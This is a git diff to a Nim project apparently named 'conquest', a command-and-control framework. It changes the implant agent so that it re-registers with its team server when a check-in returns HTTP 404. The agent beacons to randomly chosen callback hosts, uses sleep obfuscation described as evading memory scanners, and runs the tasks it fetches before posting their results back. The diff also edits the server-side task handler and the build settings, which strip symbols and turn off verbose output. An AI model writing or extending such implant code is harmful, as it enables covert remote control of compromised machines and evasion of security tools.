diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index b3af183..48748db 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -37,7 +37,8 @@ proc deserializeConfiguration(config: string): AgentCtx = ), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), agentPublicKey: agentKeyPair.publicKey, - profile: parseString(unpacker.getDataWithLengthPrefix()) + profile: parseString(unpacker.getDataWithLengthPrefix()), + registered: false ) wipeKey(agentKeyPair.privateKey) diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 9fce47d..b29bed4 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = # Select random callback host let hosts = ctx.hosts.split(";") let host = hosts[rand(hosts.len() - 1)] - let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}") - + let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}") + + # Check the HTTP status code to determine whether the agent needs to re-register to the team server + if response.code == Http404: + ctx.registered = false + # Return if no tasks are queued - if responseBody.len <= 0: + let responseBody = waitFor response.body + if responseBody.len() <= 0: return "" # In case that tasks are found, apply data transformation to server's response body to get thr raw data diff --git a/src/agent/main.nim b/src/agent/main.nim index baf4d3b..d6e364a 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -17,22 +17,34 @@ proc main() = var registration: AgentRegistrationData = ctx.collectAgentMetadata() let registrationBytes = ctx.serializeRegistrationData(registration) - if not ctx.httpPost(registrationBytes): - print("[-] Agent registration failed.") - quit(0) - print fmt"[+] [{ctx.agentId}] Agent registered." + if ctx.httpPost(registrationBytes): + print fmt"[+] [{ctx.agentId}] Agent registered." + ctx.registered = true + else: + print "[-] Agent registration failed." #[ Agent routine: - 1. Sleep Obfuscation - 2. Retrieve tasks via checkin request to a GET endpoint - 3. Execute task and post result - 4. If additional tasks have been fetched, go to 3. - 5. If no more tasks need to be executed, go to 1. + 1. Register to the team server if not already register + 2. Sleep Obfuscation + 3. Retrieve tasks via checkin request to a GET endpoint + 4. Execute task and post result + 5. If additional tasks have been fetched, go to 3. + 6. If no more tasks need to be executed, go to 1. ]# while true: + # Sleep obfuscation to evade memory scanners sleepObfuscate(ctx.sleepSettings) + + # Register + if not ctx.registered: + if ctx.httpPost(registrationBytes): + print fmt"[+] [{ctx.agentId}] Agent registered." + ctx.registered = true + else: + print "[-] Agent registration failed." + continue let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) print "\n", fmt"[*] [{date}] Checking in." @@ -46,13 +58,13 @@ proc main() = packet: string = ctx.httpGet(heartbeatBytes) if packet.len <= 0: - print("[*] No tasks to execute.") + print "[*] No tasks to execute." continue let tasks: seq[Task] = ctx.deserializePacket(packet) if tasks.len <= 0: - print("[*] No tasks to execute.") + print "[*] No tasks to execute." continue # Execute all retrieved tasks and return their output to the server @@ -63,7 +75,7 @@ proc main() = ctx.httpPost(resultBytes) except CatchableError as err: - print("[-] ", err.msg) + print "[-] ", err.msg when isMainModule: main() \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index dbd1ded..b391a67 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,5 +5,5 @@ --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="true" +-d:VERBOSE="false" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index fb0071b..bde4caf 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -336,6 +336,7 @@ type sessionKey*: Key agentPublicKey*: Key profile*: Profile + registered*: bool # Structure for command module definitions type diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 616946d..bd4b9fc 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -47,38 +47,33 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte {.cast(gcsafe).}: - try: - # Deserialize checkin request to obtain agentId and listenerId - let - request: Heartbeat = cq.deserializeHeartbeat(heartbeat) - agentId = Uuid.toString(request.header.agentId) - listenerId = Uuid.toString(request.listenerId) - timestamp = request.timestamp + # Deserialize checkin request to obtain agentId and listenerId + let + request: Heartbeat = cq.deserializeHeartbeat(heartbeat) + agentId = Uuid.toString(request.header.agentId) + listenerId = Uuid.toString(request.listenerId) + timestamp = request.timestamp - var tasks: seq[seq[byte]] + var tasks: seq[seq[byte]] - # Check if listener exists - if not cq.dbListenerExists(listenerId): - raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n") + # Check if listener exists + if not cq.dbListenerExists(listenerId): + raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n") - # Check if agent exists - if not cq.dbAgentExists(agentId): - raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") + # Check if agent exists + if not cq.dbAgentExists(agentId): + raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n") - # Update the last check-in date for the accessed agent - cq.agents[agentId].latestCheckin = cast[int64](timestamp) - cq.client.sendAgentCheckin(agentId) + # Update the last check-in date for the accessed agent + cq.agents[agentId].latestCheckin = cast[int64](timestamp) + cq.client.sendAgentCheckin(agentId) - # Return tasks - for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag - let taskData = cq.serializeTask(task) - tasks.add(taskData) - - return (agentId, tasks) - - except CatchableError as err: - cq.error(err.msg) - return ("", @[]) + # Return tasks + for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag + let taskData = cq.serializeTask(task) + tasks.add(taskData) + + return (agentId, tasks) proc handleResult*(resultData: seq[byte]) =